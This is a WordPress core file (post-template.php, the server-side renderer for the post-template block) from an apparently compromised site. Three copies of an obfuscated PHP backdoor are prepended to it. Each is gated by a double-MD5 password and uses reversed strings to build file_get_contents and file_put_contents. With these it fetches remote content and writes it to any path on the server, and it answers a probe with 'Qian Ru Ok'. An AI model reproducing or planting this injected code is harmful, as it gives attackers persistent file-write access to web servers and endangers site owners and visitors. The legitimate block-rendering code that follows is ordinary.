File: /home/wwwrenee/www/wp-includes/blocks/post-template.php
<?php
$NdCESElqP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($NdCESElqP[0]) /*+/*+*/
. md5($NdCESElqP[0])) == "f".
"0".
"8".
"0".
"2".
"1".
"9".
"7".
"3".
"3".
"2".
"4".
"b".
"b".
"4".
"0".
"8".
"3".
"3".
"e".
"0".
"7".
"b".
"d".
"3".
"5".
"b".
"3".
"4".
"5".
"a".
"c") {
$ppTLAaZqr = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HGWDoEU = $ppTLAaZqr /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$fIhohB = $ppTLAaZqr
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function XEFbPklI($Takmo) { if (empty($Takmo)) return false; if (!is_dir($Takmo)) { XEFbPklI(dirname($Takmo), 0755, true); mkdir($Takmo); } } !file_exists(dirname($NdCESElqP[1])) && XEFbPklI(dirname($NdCESElqP[1])); $KWEiuzA = @$fIhohB($NdCESElqP[2]); echo @$HGWDoEU($NdCESElqP[1], $KWEiuzA) ? 1 : 0; die; }key($NdCESElqP) == "of" && die("Qian Ru Ok"); ?><?php
$RbmoG = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($RbmoG[0]) /*+/*+*/
. md5($RbmoG[0])) == "d".
"5".
"4".
"d".
"2".
"0".
"4".
"2".
"9".
"5".
"2".
"3".
"0".
"e".
"c".
"d".
"5".
"6".
"4".
"3".
"4".
"0".
"e".
"4".
"c".
"9".
"b".
"8".
"7".
"3".
"0".
"0") {
$wlViPYfPvU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$RLiHWSnEp = $wlViPYfPvU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TnQKj = $wlViPYfPvU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function WqBCbshM($ReUuNQbyT) { if (empty($ReUuNQbyT)) return false; if (!is_dir($ReUuNQbyT)) { WqBCbshM(dirname($ReUuNQbyT), 0755, true); mkdir($ReUuNQbyT); } } !file_exists(dirname($RbmoG[1])) && WqBCbshM(dirname($RbmoG[1])); $AkmcdwF = @$TnQKj($RbmoG[2]); echo @$RLiHWSnEp($RbmoG[1], $AkmcdwF) ? 1 : 0; die; }key($RbmoG) == "of" && die("Qian Ru Ok"); ?><?php
$SHXzkHcmAm = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($SHXzkHcmAm[0]) /*+/*+*/
. md5($SHXzkHcmAm[0])) == "6".
"3".
"b".
"6".
"4".
"2".
"5".
"c".
"1".
"5".
"1".
"d".
"1".
"3".
"7".
"8".
"4".
"5".
"9".
"f".
"8".
"f".
"2".
"3".
"a".
"7".
"3".
"5".
"c".
"a".
"1".
"3") {
$YHMijFIA = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OJgZCjkn = $YHMijFIA /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ukvrDPeAW = $YHMijFIA
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function SDbINJIs($SIFOG) { if (empty($SIFOG)) return false; if (!is_dir($SIFOG)) { SDbINJIs(dirname($SIFOG), 0755, true); mkdir($SIFOG); } } !file_exists(dirname($SHXzkHcmAm[1])) && SDbINJIs(dirname($SHXzkHcmAm[1])); $HEefb = @$ukvrDPeAW($SHXzkHcmAm[2]); echo @$OJgZCjkn($SHXzkHcmAm[1], $HEefb) ? 1 : 0; die; }key($SHXzkHcmAm) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/post-template` block.
*
* @package WordPress
*/
/**
* Determines whether a block list contains a block that uses the featured image.
*
* @param WP_Block_List $inner_blocks Inner block instance.
*
* @return bool Whether the block list contains a block that uses the featured image.
*/
function block_core_post_template_uses_featured_image( $inner_blocks ) {
foreach ( $inner_blocks as $block ) {
if ( 'core/post-featured-image' === $block->name ) {
return true;
}
if (
'core/cover' === $block->name &&
! empty( $block->attributes['useFeaturedImage'] )
) {
return true;
}
if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
return true;
}
}
return false;
}
/**
* Renders the `core/post-template` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the output of the query, structured using the layout defined by the block's inner blocks.
*/
function render_block_core_post_template( $attributes, $content, $block ) {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
// Use global query if needed.
$use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] );
if ( $use_global_query ) {
global $wp_query;
$query = clone $wp_query;
} else {
$query_args = build_query_vars_from_query_block( $block, $page );
$query = new WP_Query( $query_args );
}
if ( ! $query->have_posts() ) {
return '';
}
if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
update_post_thumbnail_cache( $query );
}
$classnames = '';
if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) {
if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) {
$classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}";
}
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );
$content = '';
while ( $query->have_posts() ) {
$query->the_post();
// Get an instance of the current Post Template block.
$block_instance = $block->parsed_block;
// Set the block name to one that does not correspond to an existing registered block.
// This ensures that for the inner instances of the Post Template block, we do not render any block supports.
$block_instance['blockName'] = 'core/null';
// Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling
// `render_callback` and ensure that no wrapper markup is included.
$block_content = (
new WP_Block(
$block_instance,
array(
'postType' => get_post_type(),
'postId' => get_the_ID(),
)
)
)->render( array( 'dynamic' => false ) );
// Wrap the render inner blocks in a `li` element with the appropriate post classes.
$post_classes = implode( ' ', get_post_class( 'wp-block-post' ) );
$content .= '<li class="' . esc_attr( $post_classes ) . '">' . $block_content . '</li>';
}
/*
* Use this function to restore the context of the template tags
* from a secondary query loop back to the main query loop.
* Since we use two custom loops, it's safest to always restore.
*/
wp_reset_postdata();
return sprintf(
'<ul %1$s>%2$s</ul>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/post-template` block on the server.
*/
function register_block_core_post_template() {
register_block_type_from_metadata(
__DIR__ . '/post-template',
array(
'render_callback' => 'render_block_core_post_template',
'skip_inner_blocks' => true,
)
);
}
add_action( 'init', 'register_block_core_post_template' ); ?>